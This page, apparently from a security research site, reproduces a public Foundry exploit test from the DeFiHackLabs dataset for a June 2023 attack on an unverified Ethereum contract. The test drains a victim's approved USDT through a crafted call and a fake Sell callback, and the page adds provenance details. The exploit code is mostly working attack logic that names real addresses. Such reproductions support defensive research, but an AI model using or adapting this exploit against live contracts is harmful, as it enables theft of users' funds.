Public reproduction file
src/test/2023-06/Contract_0x7657_exp.sol
Public reproduction file for dataset entry Contract_0x7657.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4// @KeyInfo - Total Lost : ~1300 $USDC5// Attacker : https://etherscan.io/address/0x015d0b51d0a65ad11cf4425de2ec86a7b320db3f6// Attack Contract : https://etherscan.io/address/0xfe2011dad32ad6dfd128e55490c0fd999f3d22217// Vulnerable Contract : https://etherscan.io/address/0x76577603f99eae8320f70b410a350a83d744cb778// Attack Tx : https://etherscan.io/tx/0x74279a131dccd6479378b3454ea189a6ce350cce51de47d81a0ef23db1b134d510import "forge-std/Test.sol";11import "./../interface.sol";13interface IDPPAdvanced {14 function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;15}17interface IUSDTinterface {18 function transferFrom(address from, address to, uint256 amount) external returns (bool);19 function approve(address _spender, uint256 _value) external;20 function balanceOf(21 address owner22 ) external view returns (uint256);23 function transfer(address _to, uint256 _value) external;24}26contract ContractTest is Test {27 IUSDTinterface USDT = IUSDTinterface(0xdAC17F958D2ee523a2206206994597C13D831ec7);28 address Contract_addr = 0x76577603F99EAe8320F70B410a350a83D744CB77;29 address Victim = 0x637b935CbA030Aeb876eae07Aa7FF637166de4D6;31 function setUp() public {32 vm.createSelectFork("mainnet", 17_511_178 - 1);33 vm.label(address(USDT), "USDT");34 vm.label(address(Contract_addr), "Contract_addr");35 vm.label(address(Victim), "Victim");36 }38 function testExploit() public {39 emit log_named_decimal_uint("Attacker USDT balance before attack", USDT.balanceOf(address(this)), 6);40 uint256 Victim_balance = USDT.balanceOf(address(Victim));41 (bool success, bytes memory data) =42 Contract_addr.call(abi.encodeWithSelector(bytes4(0x0a8fe064), address(this), Victim, 0, Victim_balance, 1));43 emit log_named_decimal_uint("Attacker USDT balance before attack", USDT.balanceOf(address(this)), 6);44 }46 function Sell(uint256 _snipeID, uint256 _sellPercentage) external payable returns (bool) {47 address(USDT).call(abi.encodeWithSelector(bytes4(0x23b872dd), Contract_addr, address(this), _snipeID));48 return false;49 }51 fallback() external payable {}52 receive() external payable {}53}Analysis
Dataset entry
Public Foundry test for “Contract_0x7657” (2023-06-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-06/ARA_exp.solSame month in the dataset · 110 lines
- src/test/2023-06/BabyDogeCoin02_exp.solSame month in the dataset · 225 lines
- src/test/2023-06/Biswap_exp.solSame month in the dataset · 244 lines
- src/test/2023-06/Cellframe_exp.solSame month in the dataset · 170 lines
- src/test/2023-06/CFC_exp.solSame month in the dataset · 123 lines
- src/test/2023-06/CompounderFinance_exp.solSame month in the dataset · 124 lines
- src/test/2023-06/DDCoin_exp.solSame month in the dataset · 151 lines
- src/test/2023-06/DEPUSDT_LEVUSDC_exp.solSame month in the dataset · 59 lines
- src/test/2023-06/MidasCapitalXYZ_exp.solSame month in the dataset · 194 lines
- src/test/2023-06/MIMSpell_exp.solSame month in the dataset · 110 lines
- src/test/2023-06/MyAi_exp.solSame month in the dataset · 73 lines
- src/test/2023-06/NST_exp.solSame month in the dataset · 65 lines
- src/test/2023-06/Pawnfi_exp.solSame month in the dataset · 248 lines
- src/test/2023-06/SELLC03_exp.solSame month in the dataset · 97 lines
- src/test/2023-06/SHIDO_exp.solSame month in the dataset · 107 lines
- src/test/2023-06/STRAC_exp.solSame month in the dataset · 54 lines
- src/test/2023-06/Sturdy_exp.solSame month in the dataset · 339 lines
- src/test/2023-06/Themis_exp.solSame month in the dataset · 266 lines
- src/test/2023-06/UN_exp.solSame month in the dataset · 68 lines
- src/test/2023-06/UnverifiedContr_9ad32_exp.solSame month in the dataset · 41 lines
- src/test/2023-06/VINU_exp.solSame month in the dataset · 106 lines
- src/test/2024-08/OMPxContract_exp.solSame protocol or name in the dataset · 107 lines
- src/test/2023-07/USDTStakingContract28_exp.solSame protocol or name in the dataset · 64 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x015d0b51d0a65ad11cf4425de2ec86a7b320db3f
- Attack Contract
0xfe2011dad32ad6dfd128e55490c0fd999f3d2221
- Vulnerable Contract
0x76577603f99eae8320f70b410a350a83d744cb77
- Attack Tx
0x74279a131dccd6479378b3454ea189a6ce350cce51de47d81a0ef23db1b134d5
File record
- Name
- Contract_0x7657
- Path
- src/test/2023-06/Contract_0x7657_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- cbe97e62974a42b912fdcaf2be9ecd15dccd02d5
- Language
- Solidity
- Size
- 54 lines
- Date
- 2023-06-19
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-06/Contract_0x7657_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob cbe97e62974a42b912fdcaf2be9ecd15dccd02d5, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.